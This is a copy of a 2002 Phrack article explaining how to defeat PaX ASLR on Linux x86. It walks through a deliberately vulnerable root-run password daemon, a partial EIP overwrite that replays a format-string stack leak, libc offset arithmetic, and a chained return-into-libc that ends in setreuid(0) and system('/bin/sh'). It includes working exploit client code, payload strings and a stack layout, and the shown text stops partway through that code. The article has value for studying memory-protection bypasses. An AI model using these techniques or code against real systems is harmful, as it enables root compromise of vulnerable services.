[News] [Paper Feed] [Issues] [Authors] [Archives] [Contact]

.:: Bypassing PaX ASLR protection ::.

Issues: [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58] [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69]

Current issue : #59 | **Release date** : 2002-07-28 | **Editor** : Phrack Staff Get tar.gz

Title : Bypassing PaX ASLR protection

Author : Tyler Durden

```
                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12

|=------------------=[ Bypassing PaX ASLR protection ]=------------------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ Tyler Durden <p59_09@author.phrack.org> ]=------------=|


 0. Introduction
    a. What is PaX and what it does
    b. Known attacks against old PaX implems
    c. What changed since ret-into-dl-resolve()

 1. What you ever wanted to know about PaX
    a. Paging basics
    b. PaX foundations (PAGEEXEC feature)
    c. Address Space Layout Randomization Layout (ASLR)
       - Stack ASLR
       - Libraries ASLR
       - Executable PT_LOAD double mapping technique
       - ET_EXEC to ET_DYN full relinking technique
    d. Last enforcements

 2. ASLR weaknesses
    a. EIP partial overwrite
    b. Generating information leaks

 3. Understanding the exploitation step by step
    a. Global flow understanding using gdb
    b. Examining the remote stack
    c. Verify printf relative offset using elfsh
    d. Guess functions and parameters absolute addresses

 4. Exploitation success conditions
    a. Looking for exploitable stack based overflows
    b. Looking for leak functions
    c. The frame pointer problem and workaround
    d. Discussion about segvguard

 5. The code
    a. Sample target
    b. ret-into-printf info leak code

 6. Referenced papers and projects




-------[ 0. Introduction


 [a] PaX, stands for PageEXec, is a linux kernel patch protection against
 buffer overflow attacks . It is younger than Openwall (PaX has been
 available for a year and a half now) and takes profit from the
 processor lowlevel paging mechanism in order to detect injected code
 execution . It also make return into libc exploits very hard to
 accomplish . This patch is very easy to use and can be downloaded
 on [1] , so as the tiny chpax tool used to configure PaX on a per
 file basis .

 For accomplishing its task, PaX hooks two OS mechanisms :

 - Refuse code execution on writable pages (PAX_PAGEEXEC option) .
 - Randomize mmap()'ed library base address to make return into libc
   harder .
```

```
   [b] Some years ago, Nergals came with his return into plt technique
   (ELF specific) allowing him to bypass the mmap() protection (implemented
   in OpenWall [2] at this time) . The technique has been very well described
   in a recent paper [3] and wont be developped again in this article .

   [c] In the last months, the PaX team released et_dyn.zip, showing us how
   to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that
   the main object base address would also be randomized, and Nergal's
   return-into-plt attack blocked .

   Unfortunately, most people think it is a real pain to relink all sensible
   binaries . The PaX team decided to release a new version of the patch,
   accomplishing the same task without needing relinking .

   Since this patch represents the latest improvement concerning buffer
   overflow protection, a new study was necessary . We will demonstrate
   that in certain conditions, it is still possible to exploit stack based
   buffer overflows protected by PaX with all options actived, including
   the new ET_EXEC binary base address randomizing .

   We will show that we can reduce the problem to a standard return-into-libc
   exploitation . Heap overflows wont be developped, but it might also be
   possible to exploit them in an ASLR environment using a derived
   technique .



  -------[ 1. What you ever wanted to know about PaX


   If you dont care about PaX itself, please pass this paragraph and go read
   paragraph 2 now :)


   [a] Paging basics


   On INTEL Pentium processors, userland pages are 4Ko big . The design
   for 32 bits linear addresses (when pagination is enabled, which is
   mandatory if protected mode is enabled) is :


    ---------------------------------------
   |           |           |              |
    ---------------------------------------

      ^           ^               ^
      |           |               |_____ Page offset (12 bits)
      |           |
      |           |_____ Page table entry index (10 bits)
      |
      |_______ Page directory entry index (10 bits)


   If no extra options (like PSE or PAE) are actived, the processor handle a
   3 level paging, using 2 intermediary tables called the page directory and
   the page table .

   On Linux, segmentation protection is not used by default (segment base
   address is 0 everywhere, and segment limit is FFFFF everywhere), it means
   that virtual address space and linear address space are the same . For
   extended information about the INTEL Pentium protected mode, please
   refers to the Documentation reference [4], paragraph 3.6.2 describes
   paging basics, including PDE and PTE explainations .

   For instance, linear address 0804812C can be decomposed like :

   08 + two high bits in the third nibble '0' : Page directory entry index
   two low bits in the third nibble '0' + 48  : Page table entry index
   12C (12 low bits)                          : Page offset
```

```
[b] PAGEEXEC option


There is a documentation on the PaX website [1] but as written on the
webpage, it is quite outdated . I will try (thanks to the PaX team)
to explain PaX mechanisms again and giving some details for our
purpose :

First, PaX hook your page fault handler . This is an routine executed
each time you have an access problem to a memory page . Linux pages are
all 4Ko on the platform we are interrested in . This fault can be due
to many reasons :

- Presence checking (not all 4Ko zone are mapped in memory at this
moment, some pages may be swapped for instance and we want to unswap
it)

- Supervisor check (the page has its supervisor bit set, only the kernel
can access it, normal behavior is to send SIGSEGV)

- Access mode check : try to write and not allowed, try to read and not
allowed, normal behaviour is send SIGSEGV .

- Other reasons described in [4] .

Since there is no dedicated bit on PDE (page directory entry) or PTE (page
table entry) to control page execution, the PaX code has to emulate it,
in order to detect inserted shellcode execution in the flow .

Every protected pages tables entries (PTE) are set to supervisor .
Protected pages include everything (stack, heap, data pages) except the
original executable code (executable PT_LOAD program header for each
process object) .

Consequences are quite directs : each time we access one of these pages,
the page fault handler is executed because the supervisor bit has been
detected during the linear-to-physical address translation (so called page
table walk) . PaX can control access to the page in its PF handling code .

What PaX can choose to do at this time :

- If it is a read/write access, consider it as normal if original page
flags allows it and do not kill the task . For this to work, the PaX code
has to temporary fill the corresponding PTE to a user one (remember that
the page has been protected with the supervisor bit whereas it contains
userland code), then do access on the page to fill the dtlb, and set the
page as supervisor again . This will result in further data access to the
page not beeing filtered by PF since it will use the dtlb cached value and
not perform a page table walk again ;)

- If it is an execution access, kill the task and write the exploitation
attempt in the logs .


[c] ASLR


 => Stack ASLR

bash$ export EGG="/bin/sh"
bash$ cat test.c

<++> DHagainstpax/test.c !187b540a

#include <stdio.h>
#include <stdlib.h>

int     main(int argc, char **argv, char **envp)
```

```
{
  char  *str;

  str = getenv("EGG");
  printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n",
         str, str, envp, argv, (u_int) str - (u_int) argv);
  return (0);
}

<-->

bash$ ./a.out
str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4,
delta = 4890
bash$ ./a.out
str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744,
delta = 1930
bash$ ./a.out
str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734,
delta = 1946
bash$ chpax -v a.out
a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is
restricted, mmap() base is randomized, ET_EXEC base is randomized
bash$
```

After investigation, it seems like the stack address is randomized on
the 28 low bits, but in 2 times, which explain why the EGG environment
variable is always on the same page offset (ECE) . First, bits 12 to 27 get
randomized, then environment is copied on the stack, finally the page
offset (bits 0 to 11) is randomized using some %esp padding . Note that
low 4 bits are always 0 because the kernel enforces 16 bytes
alignement after the %esp pad . This is not a big vulnerability and
you dont need it to manage ASLR exploitation, even if it might help
in some cases . It may be corrected in the next PaX version however .

=> Libraries ASLR

```
bash$ cat /proc/self/maps | grep libc
409da000-40ae1000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
40ae1000-40ae7000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
bash$ cat /proc/self/maps | grep libc
4e742000-4e849000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
4e849000-4e84f000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
bash$ cat /proc/self/maps | grep libc
4b61b000-4b722000 r-xp 00000000 03:01 833281     /lib/libc-2.2.3.so
4b722000-4b728000 rw-p 00106000 03:01 833281     /lib/libc-2.2.3.so
bash$
```

Library base addresses get randomized on 16 bits (bits 12 to 27) . Page
offset (low 12 bits) is not randomized, the high nibble is not randomized
as well (always '4' to allow big library mapping, this nibble wont change
unless a very big zone is mapped) . We already note that there's no NUL
bytes in the library addresses, the PaX team choosed to randomize address
on 16 bits instead .

=> Executable PT_LOAD double mapping technique

In order to block classical return-into-plt exploits, we can use two
mechanisms . The first one consists in automatically remapping the
executable program header (containing the binary .plt) and set the
old (original) mapping as non-executable using the PAGEEXEC option .

For obscure reasons linked to crt*.o PIC code, vm_areas framing the
remapped region have to share the same physical address than vm_areas
framing the original region but that's not important for the presented
attack .

```
 The data PT_LOAD program header is not moved because the remapped code
 may contains absolute references to it . This is a vulnerability because
 it makes .got accessible in rw mode . We could for instance poison
 the table using partial entry overwrite (overwriting only 1 or 2 bytes in
 the entry) but this wont be discussed in the paper since this attack is
 derived from [5] and would require similar conditions . Moreover, the
 remapping option is time consuming and we prefer using full relinking .


 => ET_EXEC to ET_DYN full relinking technique


 Now it comes more tricky ;p Maybe you already noticed executable
 libraries in your tree . These objects are ET_DYN (shared) and contains
 a valid entry point and valid interpreter (.interp) section . libc.so is
 very good examples :

 bash$ /lib/libc.so.6
 GNU C Library stable release version 2.2.3, by Roland McGrath et al.
 (...)
 Report bugs using the `glibcbug' script to <bugs@gnu.org>.
 bash$

 bash$ /usr/lib/libncurses.so
 Segmentation fault
 bash$

 If we look closer at these libraries, we can see :

 bash$ objdump -x /lib/libc.so.6 | grep INTERP
  INTERP off    0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0
 bash$ objdump -x /usr/lib/libncurses.so | grep INTERP
 bash$

 A sample relinking package called et_dyn.zip can be obtained on the PaX
 website, it shows how to perform relinking for your own binaries . For
 this, you just have to request a PT_INTERP segment to be created (not
 the case by default except for libc) and have a valid entry point
 function (a main function is enough) .

 This relinking will result in all zone (code and data program header)
 beeing mapped as shared libraries, with base address randomized using
 the standard PaX mmap() mechanism . This is the protection we are going
 to defeat .


[d] Last enforcements


 PaX also prevents from mprotect() based attacks, when mprotect is
 used to regain execution rights on a shellcode inserted in the stack for
 instance . It matters because in case we are able to guess the mprotect()
 absolute address, we wont be able to abuse it .

 Trampoline emulation is not explained because it doesnt matter for our
 purpose .



-------[ 2. ASLR weaknesses


[a] As we saw, page offset is 12 bits long . It means that a one byte
EIP overflow is not risky because we know that the modified return
address will still point in the same page, since the INTEL x86 architecture
is little endian . Partial overflows have not been studied much, except for
the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using
this technique we can replay or bypass part of the original code .
```

What is more interresting for us is replaying code, in our case, replaying buffer overflows, so that we'll be able to control the process execution flow and replay vulnerable code as much as needed . We start thinking about some brute forcing mechanism but we want to avoid crashing the program .

[b] What we have to do against PaX ASLR is retreiving information about the process, more precisely about the process address space .

I'll ask you to have a look at this sample vulnerable code before saying the whole technique :

```
<++> DHagainstpax/pax_daemon.c !d75c8383

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define         NL              '\n'
#define         CR              '\r'
#define         OKAY_PASS       "evil"
#define         FATAL(str)      { perror(str); exit(-1); }

int             verify(char *pass);
int             do_auth();

char            pass[48];
int             len;


int     main(int argc, char **argv)
{
  return (do_auth());
}


/* Non-buggy passwd based authentication */
int             do_auth()
{
  printf("Password: ");
  fflush(stdout);
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
    FATAL("read");
  pass[len] = 0;
  if (!verify(pass))
    {
      printf("Access granted .\n");
      return (0);
    }

  printf("You loose !");
  fflush(stdout);
  return (-1);
}


/* Buggy password check (stack based overflow) */
int             verify(char *pass)
{
  char          filtered_pass[32];
  int           i;

  bzero(filtered_pass, sizeof(filtered_pass));

  /* this protocol is a pain in the ass */
  for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++)
    filtered_pass[i] = pass[i];
```

```
  if (!strcmp(filtered_pass, OKAY_PASS))
    return (0);

  return (-1);
}

<-->
```

This is a tiny password based authentication daemon, running throught inetd or at the command line . For inetd use, here is the line to add in inetd.conf :

```
666 stream tcp nowait root /usr/sbin/tcpd \
/home/anonymous/DHagainstpax/paxtestd
```

Just replace the command line with your own path for the daemon, inform inetd about it, and verify that it works well :

```
bash$ pidof inetd
99
bash$ kill -HUP 99
bash$ netstat -a -n | grep 666
tcp        0      0 0.0.0.0:666             0.0.0.0:*          LISTEN
bash$
```

This is a quite dumb code printing a password prompt, waiting for an input, and comparing it with the valid password, filtering CR and NL caracters .

```
bash$ ./paxtestd
Password: toto
You loose !
bash$ ./paxtestd
Password: evil
Access granted .
bash$
```

For bored people who think that this code cant be found in the wild, I would just argue that this work is proof of concept . Exploitation conditions are generalized in paragraph 4 .

We can easily idenfify a stack based buffer overflow vulnerability in this daemon, since the filtered_pass[] buffer is filled with the pass[] buffer, the copy beeing filtered in a 'for' loop with a missing size checking condition .

[b] What can we do to exploit this vulnerability in a PaX full random address space protected environment ? If we look closed, here is what we can see :

```
(...)
 printf("Password: ");
 fflush(stdout);
 len = read(0, pass, sizeof(pass) - 1);
 if (len <= 0)
   FATAL("read");
 pass[len] = 0;
 if (!verify(pass))
   {
(...)
```

The assembler dump (slighly modified to match symbol names cause objdump symbol matching sucks :) for do_auth() looks like that :

```
804858c:       55                      push   %ebp
804858d:       89 e5                   mov    %esp,%ebp
804858f:       83 ec 08                sub    $0x8,%esp
8048592:       83 c4 f4                add    $0xfffffff4,%esp
8048595:       68 bc 86 04 08          push   $0x80486bc
```

```
804859a:       e8 5d fe ff ff          call   80483fc          <printf>
804859f:       83 c4 f4                add    $0xfffffff4,%esp
80485a2:       ff 35 00 98 04 08       pushl  0x8049800
80485a8:       e8 1f fe ff ff          call   80483cc          <fflush>
80485ad:       83 c4 20                add    $0x20,%esp
80485b0:       83 c4 fc                add    $0xfffffffc,%esp
80485b3:       6a 2f                   push   $0x2f
80485b5:       68 20 98 04 08          push   $0x8049820
80485ba:       6a 00                   push   $0x0
80485bc:       e8 6b fe ff ff          call   804842c          <read>
80485c1:       89 c2                   mov    %eax,%edx
80485c3:       89 15 50 98 04 08       mov    %edx,0x8049850
80485c9:       83 c4 10                add    $0x10,%esp
80485cc:       85 d2                   test   %edx,%edx
80485ce:       7f 17                   jg     80485e7      ; if (len <= 0)
80485d0:       83 c4 f4                add    $0xfffffff4,%esp
80485d3:       68 c7 86 04 08          push   $0x80486c7
80485d8:       e8 df fd ff ff          call   80483bc          <perror>
80485dd:       83 c4 f4                add    $0xfffffff4,%esp
80485e0:       6a ff                   push   $0xffffffff
80485e2:       e8 35 fe ff ff          call   804841c          <exit>
80485e7:       b8 20 98 04 08          mov    $0x8049820,%eax
80485ec:       c6 04 02 00             movb   $0x0,(%edx,%eax,1)
80485f0:       83 c4 f4                add    $0xfffffff4,%esp
80485f3:       50                      push   %eax
80485f4:       e8 27 ff ff ff          call   8048520          <verify>
80485f9:       83 c4 10                add    $0x10,%esp

More precisely:

(...)
8048595:       68 bc 86 04 08          push   $0x80486bc
804859a:       e8 5d fe ff ff          call   80483fc          <printf>
(...)
80485f4:       e8 27 ff ff ff          call   8048520          <verify>
80485f9:       83 c4 10                add    $0x10,%esp


The 'call printf' and 'call verify' are cleary on the same page, we know
this because the 20 high bits of their respective linear address are the
same . It means that we are able to return on this instruction using a
one (or two) byte(s) eip overflow . If we think about the stack state,
we can see that printf() will be called with parameters already present
on the stack, i.e. the verify() parameters. If we control the first
parameter of this function, we can supply a random format string to the
printf function and generate a format bug, then call the vulnerable
function again, this way we hope resuming the problem to a standard
return into libc exploit, examining the remote process address space,
more precisely the remote stack, in particular return addresses.

Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer,
and one low EIP byte) for the password input :

"%001$08u                      \x9a"
"%002$08u                      \x9a"
"%003$08u                      \x9a"
"%iii$08u                      \x9a"

These format strings will display the 'i'th unsigned integer from the
remote stack . Using this we can retreive interresting values using
leak.c given at the end if this paper .

For those who are not that familiar with format bugs, this will read
the i'th pushed parameter on the stack (iii$) and print it as an unsigned
integer (%u) on eight characters (8), padding with '0' char if needed .
Format strings are deeply explained in the printf(3) manpage .

Note that the 37th byte \x9a is the low byte in the 'call printf' linear
address . Since the caller is responsible for parameters popping, they
are still present on the stack when the verify function returns ('ret')
```

```
 and when the new return address is pushed by the 'call printf' so that
 the stack pointer is well synchronized .

 bash-2.05$ ./runit
 [RECEIVED FROM SERVER] *Password: *
 Connected! Press ^C to launch : Starting remote stack retreiving ...

 Remote stack :
 00000000 08049820 0000002F 00000001
 472ED57C 4728BE10 B9BDB84C 4727464F
 080486B0 B9BDB8B4 472C6138 473A2A58
 47281A90 B9BDB868 B9BDB888 472B42EB
 00000001 B9BDB8B4 B9BDB8BC 0804868C

 bash-2.05$
```

In this first example we read 80 bytes on the stack, reading 4 bytes per 4 bytes, replaying 20 times the overflow and provoking 20 times a format bug, each time incrementing the 'iii' counter in the format string (see below) .

As soon as we know enough information to perform a return into libc as described in [3], we can stop generating format bugs in loop and fully erase eip (and the parameters standing after eip on the stack) and perform standard return-into-libc exploitation . We can also choose to exploit the program using the generated format bugs as described it [8] .

-------[3. Understanding the exploitation step by step

The goal is to guess libc addresses so that we can perform a standard return into libc exploitation . For that we will use relative offsets from the retaddr we can read on the stack . This paragraph has been done to help you in your first ASLR exploitation .

[a] Let's understand better the execution flow using a debugger. This is what we can see in the gdb debugging session for the vulnerable daemon, at this moment waiting for its first input :

* WITHOUT ET_EXEC base address randomization

```
 (gdb) bt
 #0  0x400dff14 in __libc_read () at __libc_read:-1
 #1  0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6
 #2  0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26
 #3  0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
                ubp_av=0xbffffd54, init=0x8048374 <_init>,
                fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
                stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129
(gdb)
```

* WITH ET_EXEC base address randomization

```
 (gdb) bt
 #0  0x4365ef14 in __libc_read () at __libc_read:-1
 #1  0x436aba58 in __DTOR_END__ () from /lib/libc.so.6
 #2  0x4357d64f in ?? ()
 #3  0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
               ubp_av=0xb5c36cf4, init=0x8048374 <_init>,
               fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>,
               stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129
(gdb)
```

As you can see, the symbol table is not synchronized anymore with the

```
memory dump so that we cant rely on the resolved names to debug . Note
that we will dispose of a correct symbol table in case the ET_EXEC binary
object has been relinked into a ET_DYN one, has explained in paragraph
1, part c .


[b] Using the exploit, here is what we can see if we examine the stack with
or without the ET_EXEC rand option :

bash$ ./runit
[RECEIVED FROM SERVER] *Password: *
Connected! Press ^C to launch : Starting remote stack retreiving ...

Remote stack (with ET_EXEC rand enabled) :
00000000 08049820 0000002F 00000001
482D157C 4826FE10 BDDB44DC 4825864F
080486B0 BDDB4544 482AA138 48386A58
48265A90 BDDB44F8 BDDB4518 482982EB
00000001 BDDB4544 BDDB454C 0804868C

If we disable the ET_EXEC rand option, here is what we see :

bash$ ./runit

(...)

Remote stack (with ET_EXEC rand disabled) :
00000000 08049820 0000002F 00000001
4007757C 40015E10 BFFFFCEC 0804864F
080486B0 BFFFFD54 40050138 4012CA58
4000BA90 BFFFFD08 BFFFFD28 4003E2EB
00000001 BFFFFD54 BFFFFD5C 0804868C

As we want to do a return into libc, address pointing in the libc are the
most interresting . What we are looking for is the main() return address
pointing in the remapped instance of the __libc_start_main function, in
the .text section in the libc's address space .

Here is how to interpret the stack dump :

00000000 (...)
08049820
0000002F
00000001
435F657C
43594E10
B5C36C8C do_auth frame pointer
4357D64F do_auth() return address
080486B0 do_auth parameter ('pass' ptr)
B5C36CF4
435CF138
436ABA58
4358AA90
B5C36CA8
B5C36CC8 main() frame pointer
435BD2EB main() return address
00000001 argc
B5C36CF4 argv
B5C36CFC envp
0804868C (...)


[c] Now let's look at the libc binary to know the relative address for
functions we are interrested in . For that we'll use the regex option
in ELFsh [9] :

bash-2.05$ elfsh -f /lib/libc.so.6 -sym ' strcpy '\|' exit '\|' \
setreuid '\|' system '

[SYMBOL TABLE]
```

```
[4425]    0x750d0     strcpy    type: Function  size: 00032 bytes  => .text
[4855]    0x48870     system    type: Function  size: 00730 bytes  => .text
[5670]    0xc59b0   setreuid    type: Function  size: 00188 bytes  => .text
[6126]    0x2efe0       exit    type: Function  size: 00248 bytes  => .text

bash$ elfsh -f /lib/libc.so.6 -sym __libc_start_main

[SYMBOL TABLE]
[6218]  0x1d230 __libc_start_main type: Function size: 00193 bytes => .text

bash$


[d] As the main() function return into __libc_start_main , lets look
precisely in the assembly code where main() will return . So, we would
know the relative offset between the needed function address and the
address of the 'call main' instruction . This code is located in the libc.
This dump has been taken from my default SlackWare libc.so.6 for which you
may not need to change relative file offsets in the exploit .

0001d230 <__libc_start_main>:
   1d230:       55                      push   %ebp
   1d231:       89 e5                   mov    %esp,%ebp
   1d233:       83 ec 0c                sub    $0xc,%esp
   (...)
   1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
   1d2e9:       ff d2                   call   *%edx
   1d2eb:       50                      push   %eax
   1d2ec:       e8 9f f9 ff ff          call   1cc90 <GLIBC_2.0+0x1cc90>
   (...)

Instructions following this last 'call 1cc90' are 'nop nop nop nop', just
headed by the 'Letext' symbol, but thats not interresting for us .

Because the libc might have been recompiled, it may be possible
to have different relative offsets for your own libc built and it
would be very difficult to guess absolute addresses just using the
main() return address in this case. Of course, if we have a
binary copy of the used library (like a .deb or .rpm libc package), we
can predict these offsets without any problem . Let's look at the
offsets for my libc version, for which the exploit is based .

We know from the 'bt' output (see above) that the main address is the
first __libc_start_main() parameter . Since this function has a frame
pointer, we deduce that 8(%ebp) contains the main() absolute address .
The __libc_start_main function clearly does an indirect call through
%edx on it (see the last 3 instructions) :

   1d2e6:       8b 55 08                mov    0x8(%ebp),%edx
   1d2e9:       ff d2                   call   *%edx

We deduce that the return address we read in the process stack points
on the intruction at file offset 1d2eb :

   1d2eb:       50                      push   %eax

We can now calculate the absolute address we are looking for :

    . main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb
    . system()        : file offset 0x48870, virtual address unknown
    . setreuid()      : file offset 0xc59b0, virtual address unknown
    . exit()          : file offset 0x2efe0, virtual address unknown
    . strcpy()        : file offset 0x750d0, virtual address unknown

What we deduce from this :

    . system() addr    = main ret + (system offset - main ret offset)
                       = 4003e2eb + (48870 - 1d2eb)
                       = 4003e2eb + 2B585
                       = 40069870
```

```
    . setreuid() addr  = main ret + (setreuid offset - main ret offset)
                       = 4003e2eb + (c59b0 - 1d2eb)
                       = 4003e2eb + a86c5
                       = 400e69b0

    . exit() addr      = main ret + (exit offset - main ret offset)
                       = 4003e2eb + (2efe0 - 1d2eb)
                       = 4003e2eb + 11cf5
                       = 4004ffe0

    . strcpy() addr    = 4003e2eb + (750d0 - 1d2eb)
                       = 4003e2eb + 57de5
                       = 400960d0

We needs some more offsets to perform a chained return into libc and
insert NUL bytes as explained in Nergal's paper :

    - A pointer on the setreuid() parameter reposing on the stack, to be
    used as a dst strcpy parameter (we need to nullify it) :

    do_auth fp + 28 = B5C36CC8 + 1C
                    = B5C36CE4

The setreuid parameter address (reposing on the stack) can be found
using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or
if there is no frame pointer, using whatever stack variable address
we can guess .

    - A pointer on a NUL byte to be used as a src strcpy parameter (let's
    use the "/bin/sh" final byte address)

    main ret addr + (string offset - main ret offset) + strlen("/bin/sh")
                     = 4003e2eb + (fcc19 - 1d2eb) + 7
                     = 4003e2eb + df92e + 7
                     = 4011dc19 + 7
                     = 4011dc20

    - A "/bin/sh" string with predictable absolute address for the
    system() parameter (we will find one in the libc's .rodata section
    which is part of the same zone (has the same base address) than
    libc's .text)

                   main ret addr + (string offset - main ret offset)
                      = 4003e2eb + (fcc19 - 1d2eb)
                      = 4003e2eb + df92e
                      = 4011dc19

bash$ elfsh -f /lib/libc.so.6 -X '.rodata' | grep -A 1 '/bin/'

nbits.333 + 152            0xfcc18 :   00 2F 62 69  6E 2F 73 68   ./bin/sh
nbits.333 + 160            0xfcc20 :   00 00 00 00  00 00 00 00   ........
--
   zeroes + 19             0xff848 :   73 68 00 2F  62 69 6E 2F   sh./bin/
   zeroes + 27             0xff850 :   73 68 00 00  00 00 00 00   sh......
--
   zeroes + 560            0xffad0 :   68 00 2F 62  69 6E 2F 73   h./bin/s
   zeroes + 568            0xffad8 :   68 00 74 6D  70 66 00 77   h.tmpf.w

bash$


    - A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in
    order to do %esp lifting (we will find many ones in libc's .text)

For 'pop ret' sequence :

bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 1 | \
grep pop -A 1
```

```
(...)
  2c519:       5a                     pop    %edx
  2c51a:       c3                     ret
(...)
```

For 'pop pop ret' sequence :

```
bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 3 | \
grep pop -A 3 | grep -v leave

(...)
  4ce25:       5e                     pop    %esi
  4ce26:       5f                     pop    %edi
  4ce27:       c3                     ret
(...)
```

Note: be careful and check if the addresses are contiguous for the
3 intructions because the regex I use it not perfect for this last
test .

Here is how you have to fill the stack in the final overflow (each case is
4 bytes lenght, the first dword is the return address of the vulnerable
function) :

```
0:  | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
16: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
32: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
48: | strcpy   addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
64: | setreuid addr | 'pop; ret'      addr |setreuid argv1| system addr  |
80: | exit     addr | "/bin/sh"       addr | ??? DONT ??? | ??? CARE ??? |
```

We need to overflow at least 84 bytes after the original return address .
This is not a problem . The 4 first return-into-strcpy are used to nullify
the setreuid argument, which has to be a 0x00000000 dword .

-------[4. Exploitation conditions

The attack suffers from many known limitations as you will see .

[a] Looking for exploitable stack based overflows

Not all overflows can be exploited like this . memcpy() and strncpy()
overflows are vulnerable, so as byte-per-byte overflows . Overflow
involving functions whoose behavior is to append a NUL byte are not
vulnerable, except if we can find a 'call printf' instruction
whoose absolute address low byte is NUL .

[b] Looking for leak functions

We can use printf() to leak information about the address space .
We can also return into send() or write() and take advantage of
the very good error handling code :

We will not crash the process if we try to read some unmapped process
area . From the send(3) manual page :

```
ERRORS
  (...)
      EBADF  An invalid descriptor was specified.

      ENOTSOCK The argument s is not a socket.
```

```
      EFAULT An invalid user space address was specified for a parameter.
  (...)
```

We may want to return-into-write or return-into-any_output_function if there is no printf and no send somewhere near the original return address, but depending on the output function, it would be quite hard to perform the attack since we would have to control many of the vulnerable function parameters .

[c] The frame pointer problem and workaround

The technique also suffers from the same limitation than klog's fp overwriting [7] .

If the frame pointer register (%ebp) is used between the 'call printf' and the 'call vuln_func', the program will crash and we wont be able to call vuln_func() again . Programs like:

```
/* Non-buggy passwd based authentication */
int             do_auth()
{
  int len;

  printf("Password: ");
  fflush(stdout);
  len = read(0, pass, sizeof(pass) - 1);
  if (len <= 0)
    FATAL("read");
  pass[len] = 0;
  if (!verify(pass))
(...)
```

are not exploitable using a return into libc because 'len' will be indexed through %ebp after the read() returns . If the program is compiled without frame pointer, such a limitation does not exist .

[d] Discussion about segvguard

Segvguard is a tool coded by Nergal described in his paper [3] . In short, this tool can be used to forbid the executable relaunching if it crashed too much times . If segvguard is used, we are definitely asked to find the output function in the very near (+- 256 bytes) or the original return address . If segvguard is not used, we can try a two byte EIP overflow and brute force the 4 randomized bits in the high part of the second overflowed byte . This way, we'll be able to return on a farer 'call printf' instruction, increasing our chances .

-------[5. The code : DHagainstpax

I would like to sincerely congratulate the PaX team because they own me (who's the ingratefull pig ? ;) and because they've done the best work I have ever seen in this field since Openwall . Thanks go to theowl, klog, MaXX, Nergal, kalou and korty for discussions we had on this issue . Special thanks go to devhell labs 0 : -] Shoutouts to #fr people (dont feed the troll) . May you all guyz pray for peace .

```
<++> DHagainstpax/leak.c !78040134

 /*
 *
 * Info leak code against PaX + ASLR protection .
 *
```

```
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>

#define FATAL(str) { perror(str); exit(-1); }

#define PORT_NUM                666
#define SERVER_IP               "127.0.0.1"

#define BUF_SIZ                 37
#define FMT                     "%%%03u$08u                            \x9a"
#define RETREIVED_STACKSIZE     20


u_int                   remote_stack[RETREIVED_STACKSIZE];


void                    sigint_handler(int sig)
{
  printf("Starting remote stack retreiving ... ");
}

int                     main(int argc, char **argv)
{
  char                  buff[256];
  struct sockaddr_in    addr;
  int                   sock;
  int                   len;
  u_int                 cnt;
  u_char                fmt[BUF_SIZ + 1];

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    FATAL("socket");

  bzero(&addr, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(PORT_NUM);
  addr.sin_addr.s_addr = inet_addr(SERVER_IP);

  if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
    FATAL("connect");

  len = read(sock, buff, sizeof(buff) - 1);
  buff[len] = 0;
  printf("[RECEIVED FROM SERVER] *%s* \n", buff);

  signal(SIGINT, sigint_handler);
  printf("Connected! Press ^C to launch : ");
  fflush(stdout);
  pause();

  for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++)
    {
      snprintf(fmt, sizeof(fmt), FMT, cnt);
      write(sock, fmt, BUF_SIZ);
      len = read(sock, buff, sizeof(buff) - 1);
      buff[len] = 0;
      sscanf(buff, "%u", remote_stack + cnt);
    }

